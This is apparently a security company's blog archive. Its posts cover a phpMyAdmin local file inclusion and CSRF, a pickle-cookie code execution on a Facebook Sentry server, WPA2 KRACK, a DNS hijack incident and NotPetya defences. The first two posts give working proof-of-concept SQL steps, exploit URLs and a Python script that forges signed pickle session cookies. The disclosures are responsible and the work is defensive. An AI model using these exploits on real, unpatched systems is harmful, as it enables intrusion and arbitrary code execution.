PHPMyAdmin multiple vulnerabilities

During an assignment, I found several serious vulnerabilities in phpMyAdmin, which is an application massively used to manage MariaDB and MySQL databases. One of them potentially leads to arbitrary code execution by exploiting a Local file inclusion, while the other is a CSRF allowing any table entry to be edited.

1. Local File INCLUSION in transformation feature

The transformation feature from PHPMyAdmin allows to have a specific display for some columns when selecting them from a table. For example, it can transform links in text format to clickable links when rendering them.

Those transformations are defined in PHPMyAdmin’s “column_info” system table, which usually resides in the phpmyadmin database. However, every database can ship its own version of phpmyadmin system tables. For creating phpmyadmin system tables for a specific database, the following call can be used: http://phpmyadmin/chk_rel.php?fixall_pmadb=1&db=*yourdb*.
It will create a set of pma__* tables into your database.

Here is an example of how the transformation is applied, from tbl_replace.php:

<?php

$mime_map = Transformations::getMIME($GLOBALS['db'], $GLOBALS['table']);
[...]
// Apply Input Transformation if defined
if (!empty($mime_map[$column_name])
&& !empty($mime_map[$column_name]['input_transformation'])
) {
   $filename = 'libraries/classes/Plugins/Transformations/'
. $mime_map[$column_name]['input_transformation'];
   if (is_file($filename)) {
      include_once $filename;
      $classname = Transformations::getClassName($filename);
      /** @var IOTransformationsPlugin $transformation_plugin */
      $transformation_plugin = new $classname();
      $transformation_options = Transformations::getOptions(
         $mime_map[$column_name]['input_transformation_options']
      );
      $current_value = $transformation_plugin->applyTransformation(
         $current_value, $transformation_options
      );
      // check if transformation was successful or not
      // and accordingly set error messages & insert_fail
      if (method_exists($transformation_plugin, 'isSuccess')
&& !$transformation_plugin->isSuccess()
) {
         $insert_fail = true;
         $row_skipped = true;
         $insert_errors[] = sprintf(
            __('Row: %1$s, Column: %2$s, Error: %3$s'),
            $rownumber, $column_name,
            $transformation_plugin->getError()
         );
      }
   }
}

The transformation is fetched from the “pma__column_info” system table in the current database, or from the “phpmyadmin” database instead. The “input_transformation” column is used as a filename to include, and is vulnerable to a path traversal that leads to a local file inclusion.

Here is a PoC to exploit this vulnerability:

  1. Create a new database “foo” with a random “bar” table containing a “baz” column, with a data containing PHP code in it (to fill the session with some php code):
    CREATE DATABASE foo;
     CREATE TABLE foo.bar ( baz VARCHAR(255) PRIMARY KEY );
     INSERT INTO foo.bar SELECT '<?php phpinfo() ?>';
  2. Create phpmyadmin system tables in your db by calling http://phpmyadmin/chk_rel.php?fixall_pmadb=1&db=foo
  3. Fill the transformation information with the path traversal in the “pma__column_info” table:
    INSERT INTO `pma__column_info`SELECT '1', 'foo', 'bar', 'baz', 'plop',
     'plop', 'plop', 'plop',
     '[path_traversal]/var/lib/php/sessions/sess_{yourSessionId}','plop';
  4. Browsing to http://phpmyadmin/tbl_replace.php?db=foo&table=bar&where_clause=1=1&fields_name[multi_edit][][]=baz&clause_is_unique=1 will trigger the phpinfo(); call.

 

2. CSRF for updating data in table

This vulnerability is pretty easy to understand. A simple GET request can be used to update data in a table. Here is an example :

http://phpmyadmin/tbl_replace.php?db=*yourDB*&table=*yourTable*&fields_name[multi_edit][0][0]=*fieldToEdit*&fields[multi_edit][0][0]=*fieldNewValue*&clause_is_unique=1&where_clause=*whereClause*

A malicious user could force a logged-in user to update arbitrary tables in arbitrary DBs. This can also be used in a simple <img> element on forums or elsewhere, as the request is a simple GET one.

 

These vulnerabilities are both important. We responsibly disclosed them and they  were patched on the newly released phpMyAdmin 4.8.4.

 

Timeline :

  • 2018.06.21 – Initial contact with phpMyAdmin security team.
  • 2018.06.24 – Initial response that the team will investigate.
  • 2018.08.02 – Request for news.
  • 2018.08.28 – Re-request for news.
  • 2018.08.31 – Response from phpMyAdmin team that they’re still in the process of fixing things.
  • 2018.11.01 – Request for news.
  • 2018.12.07 – Apologies from phpMyAdmin + explanation that a lot of code rewrite was necessary for multiple CSRF flaws.
  • 2018.12.11 – New version released with patch.

Update your things! 😉

Remote Code Execution on a Facebook server

I regularly search for vulnerabilities on big services that allow it and have a Bug Bounty program. Here is my first paper which covers a vulnerability I discovered on one of Facebook’s servers.

While scanning an IP range that belongs to Facebook (199.201.65.0/24), I found a Sentry service hosted on 199.201.65.36, with the hostname sentryagreements.thefacebook.com. Sentry is a log collection web application, written in Python with the Django framework.

While I was looking at the application, some stacktraces regularly popped on the page, for an unknown reason. The application seemed to be unstable regarding the user password reset feature, which occasionally crashed. Django debug mode was not turned off, which consequently prints the whole environment when a stacktrace occurs. However, Django snips critical information (passwords, secrets, key…) in those stacktraces, therefore avoiding a massive information leakage.

However, by looking at the stacktrace a little more closely, some env keys were interesting :

  • The SESSION_COOKIE_NAME is sentrysid
  • The SESSION_SERIALIZER is django.contrib.sessions.serializers.PickleSerializer
  • The SESSION_ENGINE is django.contrib.sessions.backends.signed_cookies
  • The SENTRY_OPTIONS key that contains some Sentry configuration in a list.

Pickle is a binary protocol for (un)serializing Python object structures, such as classes and methods in them. A comprehensive article that explains what Pickle is and its security implications is available here : https://www.balda.ch/posts/2013/Jun/23/python-web-frameworks-pickle/

If we were able to forge our own session that contains arbitrary pickle content, we could execute commands on the system. However, the SECRET_KEY that is used by Django for signing session cookies is not available in the stacktrace. However, the SENTRY_OPTIONS list contains a key named system.secret-key, that is not snipped. Quoting the Sentry documentation, system.secret-key is “a secret key used for session signing. If this becomes compromised it’s important to regenerate it as otherwise its much easier to hijack user sessions.“; wow, it looks like it’s a sort of Django SECRET-KEY override!

As we have everything to forge our own cookies with arbitrary pickle content, I wrote a little script that adds a payload into my own sentrysid cookie. Here it is :

#!/usr/bin/python
import django.core.signing, django.contrib.sessions.serializers
from django.http import HttpResponse
import cPickle
import os

SECRET_KEY='[RETRIEVEDKEY]'
#Initial cookie I had on sentry when trying to reset a password
cookie='gAJ9cQFYCgAAAHRlc3Rjb29raWVxAlgGAAAAd29ya2VkcQNzLg:1fjsBy:FdZ8oz3sQBnx2TPyncNt0LoyiAw'
newContent =  django.core.signing.loads(cookie,key=SECRET_KEY,serializer=django.contrib.sessions.serializers.PickleSerializer,salt='django.contrib.sessions.backends.signed_cookies')
class PickleRce(object):
    def __reduce__(self):
        return (os.system,("sleep 30",))
newContent['testcookie'] = PickleRce()

print django.core.signing.dumps(newContent,key=SECRET_KEY,serializer=django.contrib.sessions.serializers.PickleSerializer,salt='django.contrib.sessions.backends.signed_cookies',compress=True)

This code is a simple proof of concept; it takes the content of an existing sentrysid cookie, and replaces its content with an arbitrary object that will run a os.system(“sleep 30”) when unserialized.

When using this cookie, the page actually takes an additional 30 seconds to load, which confirms the presence of the flaw.

Facebook acknowledged the vulnerability, took down the system until the flaw was patched, and then notified me about the patch being in place.

Here is the disclosure timeline, which also demonstrates that Facebook security staff is reactive 🙂 :

  • 30.07.2018 00:00 CEST : initial disclosure with every details.
  • 30.07.2018 15:25 CEST : triaged and system takedown.
  • 09.08.2018 18:10 CEST : patch in place.
  • 09.08.2018 20:10 CEST : a 5000$ bounty is awarded – the server was in a separate VLAN with no users’ specific data.

Thanks for reading!

Blaklis

WPA2 KRACK – What you should know so far … (in simple terms)

As most people, we have been waiting for the release of the technical details surrounding the  WPA2 vulnerabilities discovered by Mathy Vanhoef  (@vanhoefm).

While the details and the full paper (https://papers.mathyvanhoef.com/ccs2017.pdf) are now available, here is a summary aimed at providing the big picture as well as a few recommendations about this attack.

Note that we could at this stage not experiment ourselves with this attack (no PoC or exploit tool is publicly available yet) so this article is solely based on the information published by Mathy Vanhoef and on common knowledge about WiFi and WPA2 (aka Wikipedia).

WPA2

WPA2 is currently the standard security protocol used to protect WiFi networks. It replaces WPA (which was used a temporary standard) which in turn was meant to replace the original (and very weak) WEP protocol. Since March 2006, all devices bearing the WiFi logo must be WPA2-certified.

WPA2 comes in two different flavours, usually referred to as WPA2-PSK and WPA-Entreprise and that differ by their authentication details and, consequently, by the details of the Master Key (called Pairwise Master Key) derivation mechanism. While WPA2-PSK derives this key from a shared secret (called Pre-Shared Key), WPA-Entreprise derives it from an underlying authentication mechanism.

However, whatever the authentication and PMK derivation details, both flavours of WPA2 then use this master key to derive sessions keys (called Pairwise Transient Key) that are ultimately used to encrypt data over the air. This encryption also comes in various flavours which are :

  1. TKIP
    A deprecated encryption mechanism based on RC4 and meant to be retro-compatible with hardware initially designed for WEP encryption;
  2. CCMP
    The currently recommended encryption protocol, based on AES (in CTR mode) and CBC-MAC authentication code;
  3. GCMP
    A new mechanism (also based on AES but operating in Galois/Counter Mode) that is used by the 802.11ad variant of WiFi (branded WiGig). This protocol seems to be still mostly unknown today (to be honest I had never heard about it before reading Mathy’s paper) but is apparently meant to become very widespread in the future.

In order to encrypt the data that is sent over the network, these encryption algorithms operate as stream-ciphers (RC4 actually is a stream-cipher, AES is called a block-cipher but both CTR and GCM modes of operation are meant to allow it’s used as a stream-cipher). Stream-ciphers produce a continuous key-stream that is used to encrypt data (e.g. by XORing the two). This can result (depending on the cipher itself) on a very strong encryption mechanisms as long as some constraints are respected (e.g. having a strong randomness source for (random) elements used to generate the key-stream and never to re-use the same key-stream).

KRACK attacks in a nutshell

When a device connects to a (non-open) WiFi network, it establishes a dialog with (one of) the access point(s) that is meant to authenticate the device (prove that it has the Pre Shared Key or valid authentication credentials depending on the “flavour” used) and that ultimately leads to the establishment of a session key (PTK) that is used to encrypt the data over the network. This dialog is part of the WPA2 standard and is called “4-way handshake”. This “handshake” is not only used upon initial connection but it is also performed again afterwards, on a regular basis (e.g. every hour) to refresh the session key (agree on a new key).

As the name suggests, this exchange is based on 4 messages, carrying, among other things, a pair of nonces (“numbers used once”) – one chosen by the client (called supplicant in the standard) and the other by the access point (called authenticator) that have a direct impact on the key-stream that is generated by the ciphers.

An overview of the WPA2 4-way handshake is reproduced below (source: https://papers.mathyvanhoef.com/ccs2017.pdf)

Now … In very simple terms (much more technical details are available in Mathy Vanhoef’s paper ) Key Reinstallation Attacks leverage the fact that – because of a design flaw in the WPA2 protocol – if an attacker replays Msg3 of the handshake above, the (target) device will usually treat this replayed packet as if it had not already been received before and will used it to derive (again) the session key (remember that this message contains one of the nonces used to generate the key-stream).

This issue is partly due to the fact that – because it is a wireless protocol – WiFi (and thus WPA2) has to be designed to account for the possibility of having lost packets (interference, jamming, low signal, …). However the problem lies in the details of how this re-transmitted message is then used by the device (e.g. accepting to re-install a key that had already been used in the past).

In very simple terms, the attack is as follows : the attacker waits for the client device to receive Msg3, process it (thus establishing the session key) and respond with the last message of the exchange (Msg4). The attacker then blocks this message (more details below) thus preventing the access point from receiving it. After a timeout, having received no response to its previous Msg3, the access-point will re-send Msg3 again which will cause the client to re-process it and derive (again) the session key, re-setting the nonces (and various internal counters) to previously used values.

In the meantime (between the moment when Msg4 hs been sent by the client, and the new Msg3 is received) if the client has already used the session key to encrypt and send data on the network this will result in the same key-stream being used twice to encrypt data which is a major violation of the proper use conditions of a stream-cipher.

By using this the attacker can (under some additional constraints) decrypt the contents of the affected data packets.

What does the attacker need ?

In order to carry this attack, the attacker must be capable of, not only sniffing the (encrypted) data that travels over the air (that is always granted) but also to block and replay data packets that are exchanged between the client and the access point.

For that, Mathy Vanhoef relies on a technique called channel-based Man-in-the-Middle attack. Basically, the attacker creates a rogue access-point, with the same characteristics (including the AP’s MAC address) but on a different channel (frequency) and tricks the client in connecting to it instead of the legitimate AP. As a result of that, the client and the AP are on different frequencies and don’t “see” each other. The attacker then relays the messages between the two channels with the capability of blocking, delaying or replaying them as wanted.

What are the consequences ?

As the discovered flaws are inherent to the WPA2 standard, one could think that the attack and the consequences do not depend on the device’s manufacturer and/or software… However the reality seems to be quite different. Actually, many different behaviours are described by Mathy Vanhoef, depending on the device details (including some systems being less affected by the attacks because they are in actual violation of the standard).

But roughly speaking, the attacker will be able to perform one or several of the actions below (depending on the targeted devices and software) :

  • Decrypt the data packets sent over the network thus having access to the data sent by sent by the targets. Note that this data may still be encrypted by another mechanism (e.g. if the target is browsing an HTTPS website) however any clear-text traffic (e.g. HTTP) would be compromised;
  • Replay packets that have been previously sent by the targets;
  • Forge new packets and send (“inject”) them on the network. This could be used, for instance to inject malicious content in browsed webpages or replace downloaded files.

On the other hand, note that the attacker will NOT be able to (at least based on the information available so far) gain full access to your WiFi network (i.e. this attack does not allow to recover your WiFi’s password). This attacks thus does not have the same consequences as what has been observed in the past with WEP et even WPS (used to gain access to WPA2 networks).

The special case of Android…

The use of WPA(2) on most Linux systems relies on the use of a program called wpa_supplicant, that implements all the magic related to authenticating and connecting to WiFi networks.

During his research, Mathy Vanhoef discovered that a series of versions of wpa_supplicant – (2.3 to 2.6) in addition to being vulnerable to the key reinstallation attacks – suffered from an additional implementation flaw that resulted in much more catastrophic consequences for this attack. When targeted with this attacks, these versions of wpa_supplicant do not “simply” re-install the previously used key but they actually end up installing an all-zero key thus resulting in catastrophic consequences (the attacker can basically decrypt all the traffic sent by the device).

Android – being a Linux system – also relies on wpa_supplicant. Consequently, it seems that Android 6.0+ versions are affected by this issue thus exposing millions of devices to the most critical form of this attack.

Note that, from the results observed by Mathy Vanhoef, if you have an iOS device (or a Windows computer by the way) you are – on the other hand – only exposed to a very limited subset of these attacks.

What should we do ?

The affected device manufacturers and software editors have been informed by Mathy Vanhoef several months ago in order to allow for the development of fixes, several of which have already been published. A list of affected vendors (and status information) is available at this URL:

https://www.kb.cert.org/vuls/byvendor?searchview&Query=FIELD+Reference=228519&SearchOrder=4

Consequently, you should  :

  1. Don’t panic ! It is not WiFi’s doomsday…
  2. Update and fix all your WiFi devices for which patches are available (access-points, routers, laptops, smartphones, tablets, “smart”-devices, …) as soon as possible;
  3. If possible, rely on additional layers of encryption (HTTPS, IPSec, …) on top of your WiFi network (that’s always true and recommended);
  4. Prefer the use of 4G over WiFi (as long as your devices are not patched). Note however that – in its worst case scenario – this attack does not have more serious considerations to your smartphone/tablet than being connected to any public WiFi network;

What’s next ?

Mathy Vanhoef did not – at this stage – publish an actual exploit tool and some of the attacks require non-trivial conditions to be carried. However it is quite obvious that these attacks will very soon be implemented in existing or new tools and ultimately be easily available.

Moreover it most probable that millions of devices (cheap Android smartphones/tablets, IoT devices, …) will never be updated (because the users will never apply the patches and – most of the time – because such patches will not be available).

Consequently, even if this issue will probably be solved on the long run in many corporate environments (as “easily” as deploying patches on a large scale on often non-centrally managed devices may be…), it may leave many home networks and end-user devices vulnerable for a long time.

More interestingly it may very well open the door for similar attacks on other protocols.

Numerous Swiss domain names temporarily hijacked

Last Friday at around 14:05 we noticed that our website (www.scrt.ch) along with some other services we use internally were no longer accessible. We immediately tried to figure out why that was and quickly noticed that our DNS requests were not returning the correct IP addresses.

As these responses were not only returned by our DNS server, but all servers globally, we had a short moment of anguish where we wondered whether we had forgotten to renew our domain name or if our account at our registrar had been hacked!

Thankfully none of these had happened as we observed that the DNS configuration at the registrar and in our name servers was not altered. So at 14:17 we contacted nic.ch to ask them whether they could tell us any more about what had happened. They informed us that they had received a change request from our registrar (Gandi) and that we should check with them. Following further discussion with them, they found that similar changes had been requested for 94 .ch and .li domain names.

We then contacted Gandi directly who told us that 751 of their domain names had been hijacked and they subsequently started to rollback the changes. By 15:05, everything was back in order, though we still haven’t received any news as to what made all of this possible in the first place.

Here’s some background information on the DNS protocol to better understand what happened.DNS resolution

Each time a web site or any resource is accessed using a fully qualified domain name such as www.scrt.ch, the DNS resolution process is run to obtain the IP address of the target system. DNS lookup walks through a hierarchical DNS structure which, abstracting any cache mechanism, works in the following manner:

  1. The client (eg a web browser, a mail gateway, a web proxy) queries its DNS resolver. In our case, the resolver is queried for the record www.scrt.ch. The resolver will then handle the resolution (recursive query) on behalf of the client.
  2. First, It will query one of the root DNS servers serving the internet globally. The root DNS server will consider the Top Level Domain (TLD), which in this example is .ch, and will provide the resolver with the IP address of the name server in charge of this TLD which for .ch is nic.ch (Switch).
  3. Then the resolver will query the name server at nic.ch which will in turn provide the resolver with the IP address of the name servers responsible for scrt.ch.
  4. Finally, the resolver will query the name server authoritative for scrt.ch and will get the IP address matching the record www.scrt.ch.

DNS configuration

As a domain owner, you must first use a registrar to register your domain name, which will handle most administrative tasks for you. The main information the registrar owns which is important for this discussion is the authoritative name servers for your domain.

The registrar will typically propagate this information through the DNS global infrastructure, which basically means informing the TLD registry about the IP addresses of the authoritative name server for your domain.

Here we are

The domain scrt.ch is registered at Gandi where we configure the IP addresses of our name servers. Gandi is responsible for propagating this information to nic.ch, enabling the resolution for our domain scrt.ch globally.

The attack

Last Friday, an attacker was able to compromise a technical provider used by Gandi to communicate with various TLD registries. This compromise allowed him to request changes to registries, including nic.ch, to modify the name server information for several domains, including ours.

At this point, a rogue DNS server was introduced in the DNS resolution path. Looking at the DNS resolution process described above, the hijack happened in step 3 where nic.ch was providing the rogue DNS server instead of the valid one to any resolver, allowing the attacker to redirect any requests for impacted domains to IP addresses owned by the attacker himself.

Gandi’s incident notification can be found here.

On our end, the impacts this attack had were:

  1. For an hour, the www.scrt.ch website was redirected to another host serving up an exploit kit that would try to infect vulnerable browsers. However, if you had visited our site previously, you would not have been affected as HTTP Strict-Transport-Security would have forced your browser to use a valid HTTPS which the attacker could not emulate, therefore resulting in a connection error. The only case where you might have been at risk is if you had never visited our site previously and you had an outdated vulnerable browser (and/or browser plugin), though if this is the case, attackers would probably not wait for you to visit our website to compromise you.
    If you want to check for the occurrence of a connection from one of your systems to the malicious web server, you can look for connections to the following IPs: 46.183.219.205, 46.183.219.206, 46.183.219.227.
  2. During the attack, all emails sent to scrt.ch addresses were not delivered to our server but to a foreign mail server which, according to tests performed during the attack, was not configured to accept emails for our domain. While it doesn’t seem to have been the objective here, this type of attack could potentially be used to read incoming emails while the name servers are poisoned.

In our case, we have always treated emails as inherently insecure and make sure to use other channels and encryption to transfer sensitive information.

Despite the fact that this incident was entirely out of our control, we will be taking steps to further reduce the impact such an attack could have in the future and of course recommend these to all of you reading this, as such attacks can happen to anyone:

  • Preload Strict-Transport-Security into browsers for our website in order to protect even first-time visitors.
  • Monitor DNS resolution by not only querying authoritative name servers directly but by crawling the full hierarchy.
  • Discuss with nic.ch whether detection of such events could be improved. Having over 90 domains owned by different entities changed at the same time to point to a single name server is really suspicious.
  • Implement DNSSEC. While in this case the attacker could have been able to either suppress or update the DS record in the TLD zone, the cache mechanism would have mitigated the attack until DS record TTL’s expiration, as confirmed by a discussion with SWITCH-CERT.

For reference, blog posts of Gandi and SWITCH-CERT

A pentester’s take on (Not)Petya

By now, everybody has probably read many articles on the latest viral outbreak, ranging from detailed analysis of the virus itself to rants about why companies don’t apply updates in a timely fashion and why employees continue to open malicious attachments in emails.

In this post, I thought I’d take a step back and look at some of the virus’ features that make it interesting from my perspective as a penetration tester, as it mimics some of the attacks we use on a weekly basis during our penetration tests. It also highlights the importance of some of the recommendations we provide that are often overlooked because the threat is rarely fully understood.

Some of the details are still a little blurry, but one of the initial infection vectors seems to have been the update mechanism of a software used by many companies in Ukraine. This is far from the classic phishing attacks where everybody can blame the end user for the infection. And despite the fact that this new attack also uses the EternalBlue exploit to propagate internally, it is most likely not the entry point into any company, in part due to the recent WannaCry ransomware which urged companies to finally apply the appropriate updates. For once we can’t just blame missing updates and irresponsible employees!

The second interesting part of this particular malware is the fact that it leverages mimikatz-like functionality to steal passwords and re-use them to infect other machines using PsExec or WMIC. This is very similar to what is performed during targeted attacks or penetration tests. After compromising an initial host, the attacker moves laterally through the network with any compromised credentials in order to take control of as many other hosts until the desired sensitive data is compromised. Obviously, the more privileged the credentials that were initially compromised are, the easier it will be for the attacker to gain access to other hosts. In the case of the current outbreak, given the fact that there seems to be no recovery possibility, and on top of this your backups happen to be accessible on the network, you will lose everything.

If at any point during an attack a domain administrator account (or similarly privileged account) is compromised, it is pretty much game over for the company, as the attacker has essentially compromised the whole company, and recovering from this is an extremely painful process. Some people will say that their most sensitive applications and data are not located on Windows servers and therefore not impacted by this, but in all likelihood, the legitimate employees who have access to the data do it from a Windows workstation. An attacker could therefore profit from this legitimate access to compromise the “secure” data as well.

Given the Ukrainian connection to the infection vector, the impact in Switzerland will probably be relatively low, but it is not unreasonable to believe that a similar attack could be performed against software that is regularly used within this country too. I can certainly think of a number of banking software that are used by a majority of Swiss companies that might be an interesting target. It gets worse if you think about Adobe, Java or even Windows (anybody remember Flame?).

So what can we do to reduce the risk of this happening in the future?

The answer in my eyes lies within two of the fundamentals of information security that are unfortunately very rarely implemented correctly:

  • Network segmentation & filtering
  • Least privileges

Network segmentation is generally pretty well understood and most companies have dedicated VLANs for various types of devices, but too often there is no firewalling performed between the different networks, making it all too easy to move around laterally or exploit vulnerabilities in obscure protocols that run on exotic ports that could very easily be blocked.

On top of a network firewall, we often recommend the use of Windows’ integrated firewall to block off SMB and RDP ports to avoid lateral movement within the same subnet. Typically these ports should be accessed only by a restricted team to manage the workstations or for support purposes. These rules can for example be deployed by GPOs.

If these rules had been deployed in the case of the current outbreak, if an initial host was compromised, the attack would be contained to that machine, as it couldn’t use PsExec, WMIC or EternalBlue to replicate, therefore drastically reducing its impact.

Nowadays, every company has one or several firewalls, but are unfortunately rarely used to their full potential. They can be used for a lot more than just routing traffic from one subnet to another. It takes a little time to set them up correctly to allow only authorised, necessary traffic, but this remains one of the best preventive measures against virus outbreaks and attacks.

For the second aspect of “least privileges”, I have very rarely encountered a company that truly performs this well at all levels, and I will group several different weaknesses that we see in pretty much every penetration test we perform:

  1. Use of excessive privileges by services
  2. Use of the same local administrator password on multiple hosts
  3. Excessive use of domain administrator (or other privileged) accounts

Before delving into why these issues are so important, I have to mention that access to a Windows workstation or server can be granted to either local users that are defined on the host itself, or domain users (as long as the machine is part of a domain) that are defined in the Active Directory.

It is also important to understand that apart from in certain circumstances, a user with local administrator privileges can use tools such as mimikatz to recover not only the NTLM password of all locally defined accounts, but also the plain-text password (or some times only NTLM hash) of any domain account authenticated to the host. Given that the NTLM hash can essentially be used as a password thanks to pass-the-hash techniques, all local accounts and any connected domain accounts can be completely compromised by a local administrator.

This should illustrate quite well why the three weaknesses above are so important.

  1. Any compromised service that is running with local administrator (SYSTEM) privileges will give the attacker the possibility of compromising all the local and connected domain accounts. Some of the services that we exploit the most that are nearly always affected by this are Tomcat, JBoss and SQL Server.
  2. If a local administrator account is compromised and that the same password is used on other hosts, an attacker can very easily use pass-the-hash attacks to compromise all of these other servers. Essentially, by using the same password on multiple machines, you’re transforming a local administrator account into a “global” administrator account. Microsoft has published a tool called LAPS which makes it pretty easy to manage a separate password for all domain-connected Windows machines, though it is also possible to simply disable the account all together.
  3. “Domain admin” accounts should only ever be used to connect to a domain controller and as sparingly as possible. They should never be used in day-to-day administration tasks. As was explained above, any time you connect to a server or workstation that has previously been compromised by an attacker, you are gifting him your account and privileges. It is therefore pretty obvious that privileged accounts should be used as sparingly as possible to avoid this scenario. We’ll often recommend segmenting the Active Directory into various groups granting access to only a limited subset of the company’s servers or workstation to reduce the impact the compromise of such an account can have.

It is well understood nowadays that it is not a question of “if” an attacker or virus gets in, but “when”. This does not mean that securing your perimeter is pointless, but it means that you have to prepare for a breach and do your best to reduce its impact.

So I’ll wrap this up with the following recommendations that cover the points mentioned above and that we give in most of our penetration tests:

  • Use your firewalls for what they were designed for and filter access between your various subnets
  • Use Window’s built-in firewall to restrict access to management ports
  • Use LAPS or a similar password management system to avoid having the same password on multiple systems
  • Disable local administrator accounts if you don’t actually use them
  • Avoid running services with local admin privileges when it is not required
  • Make sure your day-to-day accounts do not have admin privileges, and have separate accounts for administrative tasks. (It seems obvious, but given recent pentest results, it’s worth mentioning that the passwords for these accounts should be different…)
  • Put your privileged accounts in the “Protected Users” group to avoid credentials theft
  • Only use your domain admin accounts on domain controllers, and use them as sparingly as possible
  • Make sure your backups are stored securely and that they are recoverable even in the case of a complete domain compromise

Often in the past it has been difficult to promote security within a company because it has always been hard to establish the business impact of a breach, but by reading the current news, you’ll see many companies crippled by the fact they have lost control of all their Windows machines, and maybe in some cases their backups. I’ll let you imagine the consequences that could have in your company.